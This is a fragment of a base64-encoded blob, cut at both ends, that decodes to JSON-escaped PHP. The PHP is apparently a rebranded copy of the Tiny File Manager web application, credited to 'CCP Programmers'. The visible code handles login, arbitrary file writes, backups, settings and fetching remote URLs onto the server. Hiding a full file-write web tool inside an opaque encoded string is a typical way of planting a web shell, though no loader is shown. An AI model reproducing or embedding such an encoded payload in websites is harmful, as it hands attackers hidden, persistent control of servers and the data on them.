yNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ld